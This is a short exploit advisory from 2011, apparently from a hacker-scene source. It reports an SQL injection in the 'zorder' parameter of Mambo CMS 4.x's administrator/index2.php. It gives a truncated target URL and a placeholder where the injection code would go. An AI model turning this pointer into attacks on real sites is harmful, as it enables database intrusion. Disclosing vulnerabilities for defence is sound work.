الاستضافة الاسلامية

*################################################# ###################
[+] Exploit Title : CMS 4.x.x Zorder (SQL Injection Vul)
[+] Author : Kr4L BeNiM
[+] Contact : http://www.facebook.com/kr4l.hacker
[+] Date : November 13, 2011
[+] Software Link: http://mambo-developer.org
[+] Category: Web Apps
################################################## ##################

Vulnerability:

*SQL Injection Vulnerability*

[#] Exploit : -

The "zorder" parameter was not properly sanitized upon submission to
the administrator/index2.php url, which allows attacker to conduct
SQL Injection attack.


[#] Explaination : -

http://target.com/mambo/administrato...limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limit start=0&cid[]=on&zorder=
(SQL Inj Codes)

################################################## ##################
[+] Greets : Likuid Sky, Hax.Root, S.O.G, DjArs HaXoR, KiLLerMiNd, CyberLeeTs
################################################## ##################